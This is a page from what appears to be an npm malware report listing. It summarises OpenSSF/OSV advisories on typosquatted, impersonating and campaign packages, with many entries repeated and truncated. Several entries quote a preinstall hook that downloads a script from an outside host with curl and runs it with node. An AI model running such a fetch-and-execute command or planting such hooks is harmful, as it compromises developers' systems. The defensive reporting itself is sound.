npm malware reports, with evidence.
Explore malware, protestware, install-hook abuse, staged payload carriers, crypto mining, and typosquatting. Each report identifies the package version, supporting evidence, advisory sources, and current Firewall decision.
Security reports — page 713
Updated 27 Oct 2026, 22:28 UTC. Ordered by latest scan.
OpenSSF/OSV malware advisory MAL-2026-4218 blocks this version. A coordinated supply-chain attack comprising 10 npm packages published by maintainer `ddjidd5640` (1623682356@qq.com) withi...
OpenSSF/OSV malware advisory MAL-2026-4218 blocks this version. A coordinated supply-chain attack comprising 10 npm packages published by maintainer `ddjidd5640` (1623682356@qq.com) withi...
OpenSSF/OSV malware advisory MAL-2026-4218 blocks this version. A coordinated supply-chain attack comprising 10 npm packages published by maintainer `ddjidd5640` (1623682356@qq.com) withi...
OpenSSF/OSV malware advisory MAL-2026-4218 blocks this version. A coordinated supply-chain attack comprising 10 npm packages published by maintainer `ddjidd5640` (1623682356@qq.com) withi...
OpenSSF/OSV malware advisory MAL-2026-4218 blocks this version. A coordinated supply-chain attack comprising 10 npm packages published by maintainer `ddjidd5640` (1623682356@qq.com) withi...
OpenSSF/OSV malware advisory MAL-2026-4218 blocks this version. A coordinated supply-chain attack comprising 10 npm packages published by maintainer `ddjidd5640` (1623682356@qq.com) withi...
OpenSSF/OSV malware advisory MAL-2026-4218 blocks this version. A coordinated supply-chain attack comprising 10 npm packages published by maintainer `ddjidd5640` (1623682356@qq.com) withi...
OpenSSF/OSV malware advisory MAL-2026-4672 blocks this version. Package name impersonates the well-known `solidity-coverage` Hardhat plugin (sc-forks) and ships a verbatim copy of the ups...
OpenSSF/OSV malware advisory MAL-2026-4672 blocks this version. Package name impersonates the well-known `solidity-coverage` Hardhat plugin (sc-forks) and ships a verbatim copy of the ups...
OpenSSF/OSV malware advisory MAL-2026-6177 blocks this version. The npm package `socket-network` (published by npm user `sproger`, slavatopbuyer@gmail.com) is a deceptive React Native com...
OpenSSF/OSV malware advisory MAL-2026-5646 blocks this version. OSV/OpenSSF confirms sn-internal-testjgsakjdkjadkjahsdkjad@2.1.1 as malicious package MAL-2026-5646. Malicious code in sn-i...
OpenSSF/OSV malware advisory MAL-2026-6265 blocks this version. package.json declares a preinstall lifecycle script that runs `curl https://poc.amanrawat.com/hehe.js -o index.js && node i...
OpenSSF/OSV malware advisory MAL-2026-6265 blocks this version. package.json declares a preinstall lifecycle script that runs `curl https://poc.amanrawat.com/hehe.js -o index.js && node i...
OpenSSF/OSV malware advisory MAL-2026-6265 blocks this version. package.json declares a preinstall lifecycle script that runs `curl https://poc.amanrawat.com/hehe.js -o index.js && node i...
OpenSSF/OSV malware advisory MAL-2026-6265 blocks this version. package.json declares a preinstall lifecycle script that runs `curl https://poc.amanrawat.com/hehe.js -o index.js && node i...
OpenSSF/OSV malware advisory MAL-2026-6265 blocks this version. package.json declares a preinstall lifecycle script that runs `curl https://poc.amanrawat.com/hehe.js -o index.js && node i...
OpenSSF/OSV malware advisory MAL-2026-5645 blocks this version. OSV/OpenSSF confirms sn-internal-test@2.1.1 as malicious package MAL-2026-5645. Malicious code in sn-internal-test (npm)
OpenSSF/OSV malware advisory MAL-2026-5645 blocks this version. OSV/OpenSSF confirms sn-internal-test@1.9.9 as malicious package MAL-2026-5645. Malicious code in sn-internal-test (npm)
OpenSSF/OSV malware advisory MAL-2026-4616 blocks this version. package.json declares `"loadash": "^1.0.0"` as a runtime dependency. `loadash` is a well-known typosquat of `lodash` and is...
OpenSSF/OSV malware advisory MAL-2026-4832 blocks this version. The OpenSSF Package Analysis project identified 'mse-authentication' @ 99.0.1 (npm) as malicious.
OpenSSF/OSV malware advisory MAL-2026-4823 blocks this version. Part of a multi-package malicious campaign, `msc-terminal` (npm author `nhpkevte1576`) carries the same payload as `eo-term...
OpenSSF/OSV malware advisory MAL-2026-3419 blocks this version. The package msal-browser-1p was found to contain malicious code.
OpenSSF/OSV malware advisory MAL-2026-3338 blocks this version. The package ms.analytics-web was found to contain malicious code.
OpenSSF/OSV malware advisory MAL-2026-3651 blocks this version. Two malicious npm packages published by the `micresoft` account (typosquatting "microsoft") are part of a coordinated suppl...
OpenSSF/OSV malware advisory MAL-2026-6296 blocks this version. package.json declares a preinstall lifecycle hook that runs `curl https://poc.amanrawat.com/hehe.js -o index.js && node ind...